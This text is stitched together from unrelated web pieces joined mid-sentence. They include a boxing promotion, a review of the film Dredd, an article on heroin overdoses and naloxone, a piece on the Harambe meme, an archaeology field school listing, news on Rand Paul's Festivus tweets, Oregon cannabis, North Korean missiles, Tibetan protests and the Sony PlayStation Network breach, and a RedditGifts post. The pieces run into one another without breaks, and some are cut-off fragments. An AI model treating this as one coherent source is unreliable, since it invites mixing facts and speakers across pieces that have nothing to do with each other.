"I’d have to wait until next Summer to face the British Champion and I’ll be way beyond that level by then. Both Burton and Buglioni have been knocked out so they are hardly a stick to be measured with.
"Frank was knocked out by guy with 10 losses and two draws, got shut out by Chudinov before he came back and knocked out Hosea Burton which kind of proves the point.”
"I still haven't shown anywhere near my full potential, I'm looking forward to stepping it up now. I feel good, I feel healthy and I feel fit. I can't wait to get back under the lights on September 16th."
“Ford is Undefeated and ranked 20 places above current Commonwealth Champion Callum Johnson according to BoxRec and Burton hasn’t had a win at Light-Heavyweight since being knocked out by Buglioni. This is a step up for me from my last opponent and remember this is just my 13th fight. Who were they fighting by their 13th fight? Siarhei Khomitski and Nathan King, that’s who."
Promoter Frank Warren said: “Anthony has a chance to add another belt to his growing collection on September 16th. The fight will also double-up as an eliminator for the Commonwealth title which adds a further option to the menu, there is a lot on the line here.”
“I made Buglioni a huge offer, more money than he’s ever earned to fight Anthony, but they didn’t want to know. The best should want to fight the best but I’m not going to waste Anthony’s time going down that route.
“Anthony guarantees entertainment in every fight. His hand-speed is brilliant and the way he picks his shots, he picks them so well. When you think he’s only had 24 fights in his whole career. Half amateur, half professional. That’s a statement for a young guy to be where he’s at.
“He will have to on top of his game as Ford is coming to win and I am expecting a competitive, explosive fight between two exciting punchers”
WBO Middleweight World Champion Billy Joe Saunders makes the second defence of his crown against Willie Monroe Jr in the evening's main event; teenage Heavyweight sensation Daniel Dubois takes on AJ Carter for the Vacant Southern Area strap in only his fifth contest; knockout artist Joe Pigford takes on Kieran Smith for the Vacant WBO European Super-Welterweight title; supported by an action-packed undercard featuring the very best up-and-coming Southern talent.
Tickets for September 16th priced at £40, £50, £70, £100, £150, £200 and £250 (VIP/Hospitality) are available from: www.eventim.co.uk www.seetickets.com www.ticketmaster.co.ukA movie about Judge Dredd needs to do a bunch of things, just to be a decent movie in its own right. You need insane action. You need a portrayal of Judge Joe Dredd that lives up to the hard-as-granite, sleeps-with-his-helmet-on original. You need crazy villains. But there's one all-important test that any Judge Dredd movie must pass, or there's no point.
You have to find a way to portray Mega-City One, in all of its sprawling horror. Or else, none of it makes any sense. Luckily, Dredd aces this test. Spoilers ahead...
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Mega-City One is like a main character in the Judge Dredd saga. Stretching from Boston to Washington, D.C., it's a single city housing hundreds of millions of people, most of whom live in massive "blocks," arcologies which are basically self-contained cities in their own right. It's surrounded by the post-apocalyptic wasteland of the Cursed Earth, but the city is a kind of wasteland as well. Mega-City One is ungovernable, beyond saving, an urban Hell.
Put Judge Dredd into just a moderately terrible dystopian city, and he'll appear to be a massive overreaction. A cartoon hard-ass, dispensing completely over-the-top "justice." A cure that's worse than the disease. It's only in the lowest circle of hell that Judge Dredd can seem like he belongs — much less being someone you can root for.
The good news is, Dredd, in theaters today, does a pretty impressive job of bringing the ultimate urban sprawlmare to life, with a great deal of economy. The movie's low budget actually works for it, because it can't rely on huge effects sequences to sell its extreme setting. There are a few shots of the endless landscape of concrete monoliths, at the beginning and end of the movie, accompanied by a grim voiceover by Judge Dredd (Karl Urban) explaining just what a massive shithole his city is.
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But mostly, we see Mega-City One at ground level, and in particular we spend most of the movie in just one horrible slum tower, called Peach Trees Block. Before I saw Dredd, I was worried that spending most of the movie in just one block, doing a variation on Die Hard, would make this film into a generic action movie. But the good news is, Peach Trees never feels like just a regular building — we are always aware just how huge Peach Trees is, which reinforces in turn the scale of the city as a whole.
Judge Dredd never feels anything but outnumbered and overmatched in this film. Pretty much from beginning to end, he's up against pretty much all the creeps, with just one rookie judge (Olivia Thirlby) by his side. It's an important distinction: Mega-City One is not a police state, it's a state of anarchy in which a tiny handful of lawmen (and women) try to keep order against all odds.
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In a lot of ways, Dredd's vision of the future city is a throwback to the 1970s and 1980s — the era before Giuliani and widespread gentrification. A time when the destiny of cities seemed to be worsening crime and squalor, not so much with the artisanal bakeries and vegan satchel stores. In the world of Dredd, not only did the Cold War continue for decades and decades longer — resulting in that nuclear holocaust — but also Ed Koch's New York kept getting bigger and weirder.
It's a testament to the power of Dredd that you come away feeling as though this nightmarish dysurban future is still plausible, still has power and relevance.
A big part of why this all works so well is the movie's non-stop brutality, which never lets up. The blood pretty much never stops flowing (and flying) in this film, and the first time we meet the main villain Ma-Ma (Lena Headey, never better) she impresses us with a truly outstanding level of sadism that makes us root against her as much as we root for Dredd.
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And now, the capsule synopsis: In Dredd, it's training day. Judge Dredd takes a newbie named Judge Anderson (Thirlby) out to see what she's got. They're called to Peach Trees, where some mooks have just been executed in a particularly nasty fashion. This turns into a drug bust — but then the fact that Judge Anderson is a mutant, with psychic powers, comes into play. Soon enough, Dredd and Anderson are in a position to do real damage to Ma-Ma's operation, and she's determined to wipe them out. It's two Judges against a megastructure full of killers.
Ma-Ma's operation, incidentally, is dealing the drug Slo-Mo, which is just what it sounds like — it slows everything down so a few seconds crawl by. Whenever we witness the effects of Slo-Mo, it looks absolutely gorgeous, with every bit of light throwing off sparkles and all of the little details frozen in time. And yet, Slo-Mo is also used pretty often to dramatize a moment of extreme carnage, as in this "drug bust" clip at left — it's fascinating that the main source of beauty in the film is also the biggest source of horror.
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And yes, like I mentioned, this movie is amazingly violent. If you've been missing the "oceans of gore" approach to action movies — and really, who hasn't? — you'll find Dredd a welcome throwback.
So how can be Dredd be massively outnumbered, like an ant in a shitstorm, and yet also The Law? Through mind games, and through sheer force of personality and will. The central conflict of this movie, in a way, is who rules Peach Trees: Dredd, who's just passing through, or Ma-Ma, who lives there.
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Among the clips that the studio has helpfully released are a dueling pair of scenes where first Ma-Ma, and then Judge Dredd, address the people of Peach Trees:
That propaganda war sort of illuminates the core of Dredd's message about cities: we don't keep order or preserve the social compact out of altruism or because we believe the state can really monitor our behavior all the time. Rather, we mostly obey the law out of unreasoning fear, a fear that Judge Dredd lives to exploit.
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The other main thread of the film is Judge Anderson's journey from callow greenhorn to total badass, over the course of just one terrible day. The film imagines Anderson's psychic abilities as a form of sensitivity as well as a source of strength. Unlike Dredd, who's impenetrable, lacking both empathy and expressiveness, Anderson gives too much away and is too aware of others — but over the course of the film, she learns to turn that into a strength.
In any case, this is a really terrific action movie, that manages to keep the balance of Dredd being both the underdog and the establishment, so that you keep wondering how he's going to get out of the latest crazy scrape. The stakes are raised over the course of the film, in a non-contrived fashion, and the violence is lovingly choreographed. Most of all, you always have a clear sense of the geography of Peach Trees and where we are at any given time. Which helps the action a lot.
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A final thought: We're used to seeing post-apocalyptic stories that are more in the mold of Hunger Games, where a young protagonist faces the oppressive, lying order that has risen up in the ashes. Dredd is a throwback to the good old days of stories like the first Mad Max, where a lone cop is trying to keep the whirlwind under control. It's sort of refreshing to root for The Man again.Overdoses become advertisements for strong product. So as quick as the alarm goes up the supply runs dry, only to emerge somewhere else on the black market. Tainted drug batches are hard to track and hard to predict. Useful advice that keeps users "safe"—in a relative sense—like not running the whole barrel at once (but injecting a little to see how potent the bag is) can be unrealistic for street addicts trying to quickly get a shot off before getting nabbed by the cops.
Needle users are getting worse infections. A 2010 study shows that infection rates among injecting drug users can be as high as 33 percent. It stands to reason with drug-resistant bacteria tearing through the health system, that people repeatedly sticking themselves in unsanitary conditions with no medical oversight would be a prime breeding ground for skin infections of devastating new power. MRSA and other drug-resistant bacterial infections are hitting needle users with increased frequency and devastating consequences. Injection drug users with resistant infections, many of whom are poor and without health coverage, face massively invasive and expensive medical procedures in order to be cured. Sometimes users require major surgeries, which often result in profound disability. HIV persists and remains a constant concern for public health practitioners, but today there are more ways than ever for injecting drug users to get sick.
More people are using heroin, according to a 2012 Substance Abuse and Mental Health Services Administration survey. The survey found that between 2007 and 2012, the number of heroin users ages 12 and up increased from 373,000 to 669,000.
Public health professionals have known for nearly a decade that a new cohort of heroin users was in the making as the prescription drug epidemic spread. This is a matter of pure economics. Prescription dope isn’t cheap. In Philadelphia, an 80 milligram OxyContin pill will cost you $40. "Oxys" are safe in that the potency is predictable. Pills usually trade in safer parts of town than the North Philadelphia heroin corners where bullets can fly at any moment and the Narc Squad is always on the prowl. You pay a premium for upscale product, though; for the same amount of money, you could get four bags of heroin that are just as potent. Eventually, heavy users run out of money for pills and seek out cheaper powders. These new users are fueling a surge in heroin purchases in locations as remote as Vermont. Hoffman himself reportedly first relapsed on pills before moving into heroin use.
There is hope. Naloxone, a non-narcotic, easily-dispensed medication, is being hailed as a miracle drug for reversing overdoses. Like Lazarus, an overdosed user on the verge of death will spring back to life when Naloxone mist hits his nostrils. Police are becoming more willing to carry and dispense the drug. More townships are passing Good Samaritan laws that make it safe for other drug users to contact emergency responders in the event of an overdose, without having to worry about getting arrested for having made the call. Advocates want Naloxone, which is safe and non-toxic, to be available over the counter. Had Hoffman followed simple instructions from a Naloxone training session (Don’t use alone. Train those who use with you to administer the drug.), he might still be with us. Not every overdose can be prevented, but we should strive to prevent as many as possible. Naloxone isn’t drug treatment, and many who have their overdoses reversed will continue to use drugs, but we can’t get hung up on this. Dead people can’t get clean. Every reversed overdose is another chance at life |
after all, and they're on his side here. But, there is a lot you can say about how he got beat today, but he didn't lose to anyone who's "dewy-eyed." He lost to a Massachusetts pol. Happens.Harambe.
What started as the tragic shooting of a majestic creature (to prevent a child getting harmed) has turned into a meme – perhaps the most perfect meme there is.
The incredible journey from live gorilla to controversial meme is what this article is all about. Harambe would have loved it.
Why Harambe?
Harambe’s death is often referenced alongside the death of Cecil the lion in 2015. In August we found 3k tweets mentioning both names, and the animals are often referenced together on news sites when discussing them.
https://twitter.com/kkaaaatttttt/status/771574216055410688
While both were innocent animals killed at the hands of humans, reactions to their demises were very different.
When Cecil the lion was killed the internet’s reaction was that of unbridled anger. Mobs formed, his killer’s business was ruined and celebrities named and shamed him on their social media profiles.
To this day the man who killed him is mercilessly hunted by the press.
Cecil the lion’s death caused a huge backlash against hunting lions, one which is hoped to save the lives of other animals.
Harambe’s death was followed by a very different mourning period. Many turned to anger at the zoo keepers or guardians of the child (there were reports of death threats), but the generally accepted version of events was that of a tragic accident.
In Harambe’s case there was no obvious villain, just a highly publicized outcry from animal lovers and people lamenting those who were meant to be caring for the child.
So why did Harambe become the internet sensation he is now?
If you would have told Harambe that he was going to be an Internet sensation after he died, he wouldn’t have understood a word you said — Joe Giacalone (@joe_giac37) August 31, 2016
Venkatesh Rao writes that Harambe became the perfect meme because no one stepped in to own it.
Marketers were unsure of it and the angry minorities were unable to legitimize the abuse hurled at the zookeepers and caregivers. Instead, Harambe’s internet presence became so varied and odd that it came to signify nothing in particular.
Harambe marks the emergence of something akin to a true stock market for culture, where price movements cannot always, or even often, be narrativized, either locally or globally. To be outraged by a Harambe meme—as those focused on the original conversation around animal rights and parenting continue to be—is to confuse Harambe the meme, a stock in a memetic marketplace, with Harambe the gorilla who died a tragic and pointless death.
Venkatesh Rao, The Atlantic
The idea of Harambe has become something very different to Harambe’s physical presence in the world that was cut short – something that’s reflected on and laughed at in some of the Harambe content circulating the internet.
this is the only harambe meme i have lightly chortled at in months pic.twitter.com/TfXFs8wTfg —? (@jordoritos) September 8, 2016
What can we learn from Harambe?
Is it OK to laugh at a dead gorilla? Hank Green asked his followers about how funny they found the meme, finding a mixed response.
I feel like the memeification of Harambe is an example of how humor is (for some) funnier if tinged with cruelty. Is that not it? — Hank Green (@hankgreen) September 9, 2016
Green’s ethical concerns surrounding the meme are not shared by everyone, and the wide breadth of reactions to Harambe memes speak to the variety of ways in which he has been immortalized on the internet.
Aside from the more lurid Harambe memes that you can experience here, many tweet about the gorilla like an old friend who passed away (with a heavy dose of irony, of course).
Whenever there’s a big event you’re more than likely to find someone tweeting about how much Harambe would have enjoyed it. We took a look at mentions of “Harambe would have/would’ve loved” over the last couple of months, removing spam, to identify some of the top mentioned events. Ironically, it is Harambe memes that Harambe would have loved the most.
What Harambe teaches us is about transformation and legacy in a digital age and the intensely weird reactions the internet has to random events.
Harambe the gorilla has transcended his lowly origins as some random zoo gorilla. In his afterlife, he has become a superhero, a mega-meme, the internet’s gorilla.
Just a gorilla?
When we were searching for a header image to this article we struggled to find a stock photo of Harambe. “Can’t we just use any old gorilla?” asked one member of the team.
In life Harambe was a gorilla but he wasn't "just a gorilla". He was a hero, a martyr. And in death he has become a legend. — Ja m es (@MaleOdor) August 24, 2016
Harambe wasn't "just a gorilla". He was our gorilla and he died for us. — Aaron (@BloodGrin946) August 31, 2016
Harambe wasn't just a gorilla, he was the glue that held this country together. https://t.co/9HzdzPOcQm — Rowdy Americans (@RowdyAmericans) September 2, 2016
Perhaps a few months ago Harambe was like any old gorilla, but that’s not what Harambe is now.
Are you a journalist looking to cover our data? We have plenty more. Email us react@brandwatch.com for more informationUnderwater Archaeology Field School
A field school is an irreplaceable component in the education of any student pursuing a career in archaeology. Each year, the Lighthouse Archaeological Maritime Program (LAMP) oversees an intense, four week accredited educational program allowing both undergraduate and graduate students the opportunity to participate in a marine survey and underwater excavation of a historic shipwreck site. In addition to methodological training and academic lectures, students get valuable real-world experience in all aspects of archaeological fieldwork, scientific diving and seamanship and laboratory analysis.
LAMP has partnered with a variety of universities, including Flinders University, Florida State University, Syracuse University and Plymouth State University, to organize and implement this four-credit course. For the 2018 Field School, four hours of graduate or undergraduate credit are available through Plymouth State University.
More information on previous field school research, please visit our Keepers' Blog.
2019 Field School
2019 Dates: June 24th - July 19th
June 24th - July 19th Location: St. Augustine, Fla.
St. Augustine, Fla. Research Focus: The "Anniversary Wreck" is an historic vessel from the 1700s located just off the coast of St. Augustine.
The "Anniversary Wreck" is an historic vessel from the 1700s located just off the coast of St. Augustine. Skills, Procedures & Lectures: Students will also be instructed in scientific diving procedures, archaeological recording and excavation, the use of hydraulic probes and induction dredges, marine remote sensing survey and analysis (magnetometer & side scan sonar), artifact collection and documentation and basic conservation laboratory methodology. Additionally, the field school will host an evening lecture series with instructors and visiting professionals from various public, private and academic institutions throughout Florida.
Requirements:
Students must be scuba-certified and EITHER qualify as a scientific diver through AAUS (American Academy of Underwater Sciences) or a similar institution OR qualify as a scientific-diver-in-training through LAMP's scientific diver program. These requirements include a specific medical exam to be completed prior to field school and a swim test to be conducted upon arrival. More information and downloads of the medical exam form and other required paperwork are available below.
(American Academy of Underwater Sciences) or a similar institution These requirements include a specific medical exam to be completed prior to field school and a swim test to be conducted upon arrival. More information and downloads of the medical exam form and other required paperwork are available below. Medical exam form and other required paperwork.
Please download and read this note on our diving conditions and requirements.
Students must have DAN diving accident insurance covering at least $125,000 for skin and scuba diving injuries, or an equivalent policy.
covering at least $125,000 for skin and scuba diving injuries, or an equivalent policy. Students must hold current CPR and First Aid certifications.
Housing
LAMP maintains a Field House on five acres of rural property just outside St. Augustine. Expect dormitory-type conditions though the house is furnished with air conditioning, two bathrooms and a fully-operational kitchen. Students should provide their own bedding (sheets, pillow, blanket, etc). If students wish to camp on the land around the field house they should bring their own tent/gear.
Meals will be communal and prepared each day by the field school participants on a rotating basis. Each student will be assigned to a weekly Kitchen Patrol roster. The budget for purchasing food is derived from the field school fee charged to all students. Students are responsible for their own food on weekends.
Online Application Forms and Fees
Click here to download application form
The fee for the field school is $2,500 for students seeking academic credit and $2,900 for students not seeking credit. A $250 deposit is due upon acceptance and the remainder is due on the first day of class; all fees are payable to LAMP. This fee includes housing, food (except on weekends when you are responsible for your own food), all diving gear (other than mask, fins, snorkels, & booties), air fills, dive locker, classroom and laboratory facilities. The deposit and remaining balance may be paid with check or credit card.
Graduate or undergraduate credit is available through Plymouth State University or through your own institution, if appropriate arrangements are made, at additional expense paid directly to the school for tuition. Plymouth State University tuition costs are as follows:
Undergraduate In-state (New Hampshire): $380.00 per credit hour
Undergraduate Out-of-state: $418.00 per credit hour
Graduate In-state: $512.00 per credit hour
Graduate Out-of-state: $559.00 per credit hour
Students may receive four credit hours for completing the full four week program. Tuition must be paid separately through the university issuing credit and the tuition cost is separate from the Field School fee payable to LAMP.
Students must provide their own transportation to and from St. Augustine, Florida. Students are also responsible for the required diving insurance, diving medical exam and CPR/First Aid before the start of the course, as outlined below.
Please download the application package which consists of three one-page forms, and complete each form either digitally or by hand. When finished, please send to Allyson Ropp by email, fax or regular mail:
Allyson Ropp
Archaeologist
81 Lighthouse Avenue
St. Augustine, Florida 32080
lamp@staugustinelighthouse.org
Phone: 904-829-0745
Participation in the Field School can be competitive depending on the numbers of applicants, which have been increasing each year. While not required, you may submit a resume and/or letters of recommendation with your application.
If you have any other questions, please call or email Allyson Ropp at lamp@staugustinelighthouse.org
*A refundable $30.00 deposit is required for a field house key.In this Dec. 8, 2014, file photo, Sen. Rand Paul, R-Ky., speaks in Jackson, Miss. Paul took to Twitter on Tuesday, Dec. 23, 2014, to air his Festivas grievances. (Photo11: Rogelio V. Solis, AP)
LOUISVILLE — U.S. Sen. Rand Paul has gotten into the holiday spirit again.
Not that holiday.
Festivus.
For the second straight year, Paul has taken to Twitter to air his grievances for the Seinfeld-inspired holiday that involves a metal pole, feats of strength, and the obligatory airing of grievances.
Among his grievances this year:
Democratic Sen. Cory Booker, of New Jersey still doesn't retweet Paul enough.
Sen. Mitch McConnell, R-Ky., won't let him borrow his "awesome" sweater vest.
No matter how many times I ask @Team_Mitch, he won't let me borrow this awesome sweater vest pic.twitter.com/VACHu6RdVY — Senator Rand Paul (@RandPaul) December 23, 2014
In what may be the funniest tweet so far, Paul uses self-deprecating humor to skewer himself over his problem with plagiarism late last year.
In one tweet, he wrote that politics "is the art of looking 4 trouble, finding it everywhere, diagnosing it incorrectly & applying wrong remedies."
Moments later, he followed it up with, "That's a Groucho Marx quote by the way @BuzzFeedAndrew, you can stop googling." That's a reference to Andrew Kaczynski, of BuzzFeed, who uncovered many of his alleged plagiarism offenses.
Paul also used the holiday to call for a truce with Sen. Marco Rubio, R-Fla., whom he has sparred with in recent days concerning a policy of openness toward Cuba.
"Tempting to air a grievance @marcorubio again, but we've done that enough for this week. Instead I will say an early Merry Christmas," he wrote.
"Festivus" is a holiday created by the father of Seinfeld character George Costanza, who was looking for an alternative to Christmas after sparring with another man for a doll he was trying to buy for the young George many years before. Some people celebrate the holiday.
Dan Bayens, Paul's spokesman, said that Paul even erects a Festivus pole in his office, which was sent to him by a pipe company last year after he celebrated Festivus online.
Read or Share this story: http://usat.ly/16OOeAeOregon’s marijuana legalization initiative, the Oregon Cannabis Tax Act (OCTA), is kicking off its signature-gathering phase at the OR NORML meeting in Portland this Saturday, April 10.
Petitions have just been approved for circulation by the Oregon Secretary of State’s Office, and OCTA said it expects more than 300 attendees to be among the first to sign the petition for this historic ballot measure.
OCTA will generate revenue by taxing commercial cannabis sales, which will be permitted to adults 21 and older. More than $140 million a year would be generated by OCTA for the state’s General Fund, according to projections, paying for education, roads, health care, and other public projects.
“OCTA will transform Oregon,” said co-chief petitioner Madeleine Martinez, executive director of OR NORML. “Supporting OCTA is a no-brainer.”
According to OCTA’s other co-chief petitioner, Paul Stanford of The Hemp and Cannabis Foundation (THCF), the potential of industrial hemp for Oregon’s economy is limitless, as it will turn the state into a national leader in ecological innovation and sustainable jobs.
“The entire hemp plant is useful, from its seeds which create a food source to its oil which can be made into bio-diesel to its stalks which can be woven into fabrics or turned into paper,” Stanford said. “Hemp is the future, not just for Oregon, but for a sustainable planet.”
The campaign said it will collect 125,000 signatures by July 2 in order to qualify for November’s ballot.
OCTA has hired Democracy Resources, a Portland-based signature-gathering firm with a proven track record of success, to ensure the petition makes the ballot. The campaign said it already has raised more than half the money required to fund a paid signature gathering effort.
For more information on OCTA, as well as to make a donation and get involved, visit www.cannabistaxact.orgKim Jong Un at the test of a strategic submarine ballistic missile in an undated photo released by North Korea's Korean Central News Agency in 2015. KCNA/REUTERS As tensions reach a boiling point between North Korea, the US, and the North's neighbors, Japan's government has issued a guide for its citizens on how to survive a missile attack that would take less than 10 minutes to hit Japan, The Washington Post reports.
The guide warns specifically of nuclear ballistic-missile attacks, as North Korea continues both nuclear and ballistic-missile programs.
The guide instructs people to keep calm, keep roads clear, and maintain communication with the outside world through radio or TV in the event of a nuclear, chemical, or biological attack.
It recommends that in the event of a nuclear explosion, people not look at the flash, which could be blinding, and have the least possible amount of skin exposed to the blast of radiation.
Paranoia or real concern?
North Korea stunned experts by displaying a wide range of new or modified missile types at its April 15 military parade in Pyongyang.
The Kim regime has shown steady improvement in its missile program and remains the only country to test nuclear devices in the 21st century. Experts warn that it could be on the verge of another nuclear device.
Its latest round of missile tests and provocations seems to have worried the people of Japan, where sales of nuclear shelters and air purifiers have skyrocketed.
A ballistic-rocket-launching drill for Hwasong artillery units of the Strategic Force of the KPA. Thomson Reuters
The Post reports that Japan's civil-defense website is experiencing a huge spike in traffic and features frequently asked questions about North Korean missile strikes.
Japanese guided-missile destroyers joined the USS Carl Vinson aircraft-carrier strike group off the Korean Peninsula on Tuesday, as did the USS Michigan, a special-operations and guided-missile nuclear-powered submarine. Tuesday also marked a military celebration in North Korea on the 85th anniversary of the founding of the country's army.
Though Japan would have virtually no defense against a surprise nuclear attack, experts contacted by Business Insider maintain that a first strike from North Korea seems incredibly unlikely, as the Kim regime would face quick retaliation from a much more certain nuclear power, the US.
On Wednesday, every US senator was invited to a briefing on North Korea at the White House.China's attempts to counter international criticisms of the state crackdown on Tibetan unrest received another setback this morning, as a second state media trip to a protest-hit area was interrupted by Tibetan monks.
The authorities have launched a drive to counter what they allege is biased coverage of the unrest and their response by many in the western media. Foreigners are not allowed into Tibet at present and even under normal circumstances journalists are rarely granted permission to travel there.
Reporters attempting to reach other areas of unrest in China have been turned back or ejected by security forces.
Officials arranged for a small group to travel to Xiahe, Gansu province today. The town was the scene of angry protests last month.
But the visit took an unexpected turn as between 15 and 30 lamas, carrying a banned Tibetan flag, burst out of a building at Labrang monastery and rushed across to the group of Chinese and foreign journalists.
"The Dalai Lama has to come back to Tibet. We are not asking for Tibetan independence, we are just asking for human rights, we have no human rights now," one monk told the reporters in Chinese.
According to a Reuters journalist covering the trip, many of the lamas had their heads covered in robes. They said other monks were being held by the authorities and that armed plainclothes agents were stationed throughout Xiahe.
The state news agency Xinhua reported only that a group of monks at the monastery of Labrang in western Gansu province bordering Tibet had interrupted the event, and said the visit resumed soon afterward. It did not mention the tour on its websites.
Last month lamas at the Jokhang temple in Lhasa disrupted the first trip for foreign journalists to Tibet, interrupting a speech on inter-ethnic harmony and telling reporters: "They are tricking you. Don't believe them. They are lying to you."
At a separate press conference in Beijing, Qiangba Puncog, chairman of the Tibet Autonomous Region government, said police had detained 953 people suspected of involvement in last month's violent riots in Lhasa.
But he added that they were "an extremely tiny minority" of Tibetans and that only "an extremely tiny minority" of monks protested.
"They do not, and cannot, represent Tibet and the Tibetan people," he added.
Puncog said prosecutors had also issued arrest warrants for 403 of those detained, a step that generally leads to formal prosecution.
He said 362 people had handed themselves in to police in response to a government ultimatum, but 328 were released on the grounds that their crimes were light and they had a "good attitude" in confessing them. It was unclear if the remaining 34 were included in the tally of detainees.
Police also issued warrants for 93 suspects, 13 of whom have been caught and nine who surrendered themselves.
The government says 22 people, mostly "innocent civilians", died in the Lhasa riots. Independent accounts have described vicious attacks on Han Chinese residents.
The Tibetan government-in-exile alleges the true tally across China is more than 140 with many protesters dying in clashes with security forces.The company, in a blog entry posted Tuesday afternoon, added it is still unsure if the intruder also obtained credit card data for members who have that on file with the service, which provides online functionality for the PlayStation 3.
"Although we are still investigating the details of this incident, we believe that an unauthorized person has obtained the following information that you provided: name, address (city, state, zip), country, email address, birthdate, PlayStation Network/Qriocity password and login, and handle/PSN online ID," wrote Patrick Seybold, senior director of corporate communications for Sony Computer Entertainment America. "It is also possible that your profile data, including purchase history and billing address … and your PlayStation Network/Qriocity password security answers may have been obtained. … While there is no evidence at this time that credit card data was taken, we cannot rule out the possibility."
Sony says the attack has led it to begin rebuilding the system. It expects to restore some services within a week.
The company is urging subscribers to be on alert for identity theft attempts as well as email, telephone and postal scams. (Users can contact the three major U.S. credit bureaus — Experian, Equifax and TransUnion — and have their accounts put in "high alert" status for no charge.) It is also advising them to change their password when service is ultimately restored.
Sony's stock was down about one percent in after-hours trading. Click here for latest after-hours quote.
Analysts say they don't believe investors will punish the company substantially, given that this was an external attack and not the result of an internal error.
"Any time you have a break of fidelity like that, it's an issue," said Mike Hickey of Janco Partners. "It's pretty clear that someone has taken an illegal action to make a point. So do I hold Sony to blame for that? No. But should Sony have better security to protect their subscribers personal information? Probably."
So far, no hacker group has claimed responsibility for the attack. The rogue group known as Anonymous, which has famously launched attacks on both Gene Simmons and Hustler Magazine, was initially suspected, after it vowed in early April to target Sony after the company's legal action against a hacker who dismantled the PS3's security.
The group managed to disrupt the service with a Distributed Denial of Service (DDoS) attack earlier this month. (Anonymous attackers, using software known as “Low Orbit Ion Cannons,” repeatedly pinged the company's servers. When done simultaneously by enough users, this can bring the site down — usually quickly and without warning.)
However, Anonymous denies responsibility for this incident, saying on its site, "While it could be the case that other Anons have acted by themselves, AnonOps was not related to this incident and does not take responsibility for whatever has happened."
While consumers impacted by the hack are Sony's first priority, the continued outage of the PlayStation Network is also impacting its developer partners (both internal and external).
The company released "SOCOM 4," a multiplayer focused action game that is traditionally one of its biggest franchises, last week. Additionally, the eagerly anticipated "Portal 2," which comes with a co-operative mode, also hit store shelves last week — with an integration of Valve's Steam online service into the PlayStation Network being touted as one of the chief reasons to opt for the PS3 version of the game, rather than the Xbox 360 version.
The company has reportedly vowed to help some of the game makers who are seeing their revenues dry up.
"Sony will be helping us retain key focus (PSN store promotion) for a few extra weeks as they understand how something like this can affect a small dev studio like ours," said Paddy Murphy, CEO of Open Emotion told IGN.
The outage and data breach could give Microsoft an advantage in the online gaming space, as its Xbox Live service has never suffered such a compromise. Unlike Microsoft, which requires a $60 annual subscription fee for access to most features of its Xbox Live service, Sony does not charge most users for access to the PlayStation Network. (A PlayStation Plus program is available, giving early access to demos, priority invitations to game beta tests and discounts on products in its online store.)I received my Hats & Scarves gifts yesterday and my Santa blew me away!! As I stated in my title, I was shafted in two of my most recent exchanges. The sad part is, they just happened to be the two exchanges I was most excited about since discovering RedditGifts last Christmas, considering my passions in life. I live 1/2 mile from the beach and love to go there several times a week. I also run my own animal rescue organization, and am very dedicated and passionate about animals and animal rights. Therefore, when the Life's a Beach and Presents for Pets exchanges came up I was most excited for them!! Those just happened to be the two exchanges that my Santa's didn't come through for me. Anyway, as my Mom use to always say, that's the way the ball bounces. Lol
Immediately after my Santa pulled my information she sent me a message asking me about sizing. And low and behold, just a few days later I received a package in the mail! Now that is the fastest anyone has ever shipped my gift; so that was already a great start to this round of exchanges!! I didn't make it easy on my Santa, but she came through for me with flying colors. I live in central Florida (on the east coast) so it doesn't really get cold enough here for hats and scarves. So, one may wonder why I'd sign up for the hats and scarves exchange. Well, I live 1/2 mile from the beach in one direction, and 1/2 mile from a couple different rivers in the other direction. One of my greatest pastimes is to go fishing. (FYI, I practice catch and release.) During the winter my hands get really cold with the air temperature, the wind, and my hands getting wet from touching the fish and bait, and the water. And even though I don't like to ask for specific gifts, I did ask for waterproof fishing gloves this time. I actually felt kind of bad for asking for a specific gift; but I figured it was better than someone buying me something that I'd never use.
Anyway, so when my package arrived I was soooo excited!! The first thing I saw when I opened the box was a pair of gloves!! And you guessed it, they're waterproof fishing gloves!! And not just any pair of waterproof fishing gloves, they're the BEST...they're Glacier Glove Ice Bay fishing gloves, which are 100% waterproof!! Yep, my Santa nailed it! The entire glove is covered in sharkskin textured premium G-Tek neoprene and they're fleece lined. They are going to have some serious grip and warmth!! They are super lightweight and they fit nice and snug, which means I should have no problem with a lack of flexibility as with most gloves. I honestly can not wait to try them out!! I was all smiles, from ear to ear when I took them out of the box!!
After I thoroughly checked out my newest gear I was looking through the box to see if my Santa gave me their username on my gift receipt. And you'll never guess what!?!? The first piece of paper that I saw from Amazon was one that read, "I thought I'd toss in an extra ;)". What?!?! There's more?!?!? No way!! You're kidding!! Then I saw it. A familiar little box. As I stated earlier, I love to go to the beach. One of the MANY reasons that I love to go to the beach is to look for giant sea turtles. The beach right by my house has a very high population of Loggerhead and Green Sea Turtles. So, for a select 5-6 months out of the year I go walking the beaches at night in search of these majestic creatures. And I typically see at least one every time I go. Trust me, if you've never seen one in person (in the wild) it should be on everyone's bucket list. There's just something about witnessing their magnificent feat. The struggle that they endure just to walk their several hundred pound body out of the ocean, up the sloped beach, dig their nest, and lay their eggs, only to then walk all the way back down to the ocean is a true miracle. This whole process takes a couple of hours. These huge turtles are made to swim effortlessly in the water, not to walk on land, which expels a lot of their energy. And do you know what's mind blowing to me? The fact that these Momma's struggle out of their natural environment (the sea) to climb up on the beach and lay their eggs was predetermined from where their own Momma laid the eggs that they came from!! How, you ask? Because where they lay their eggs is on the same beach where they themselves were born...approx. 25 years earlier...and year after year after year they continue to come to the same beach!!! If you're not amazed by that then you need to check your pulse. Lol
Ok, I guess you can tell by now that I'm fascinated by these prehistoric reptiles. I could talk about them for hours!! But now back to my second gift. As much as I love looking for sea turtles, sometimes it's really dark on the beach at night, and if the turtles are close to the dunes it can be really hard to locate them. Thus, where my second gift comes in extremely handy. It's against the law (and just wrong) to use a flashlight, or any other kind of white lighting (including street lights and house / condo outside lighting) during turtle season. As the turtles use the light from the moon to direct them back to the ocean, it becomes confusing to them when they see white light from any other source other than the moon. So, if they see any other light it will most likely result in what's called a false crawl. Basically that means that they expelled all of that energy to walk up on the beach to lay their eggs only to be spooked, to turn right back around and go back into the ocean...without laying their eggs. However, blue (and red) lights don't affect them. Blue lights show up much better than red lights, so that's what I prefer. Therefore, it is imperative that I have a blue flashlight when searching for these beautiful creatures. I have one already (thanks to my Great Outdoors Santa), but I can never have enough of them as I like to leave them in my vehicles so I have access to them no matter what car I'm in when the mood strikes to stop at the beach...which happens frequently! Therefore, when I saw that little box, with what I could tell was a flashlight, I was ecstatic!! I have purchased a few blue lights and they just don't emit enough light to do any good. But this blue flashlight is THE BEST one that I own!! And now I own two of them, woo hoo!! Oh, and I almost forgot, this 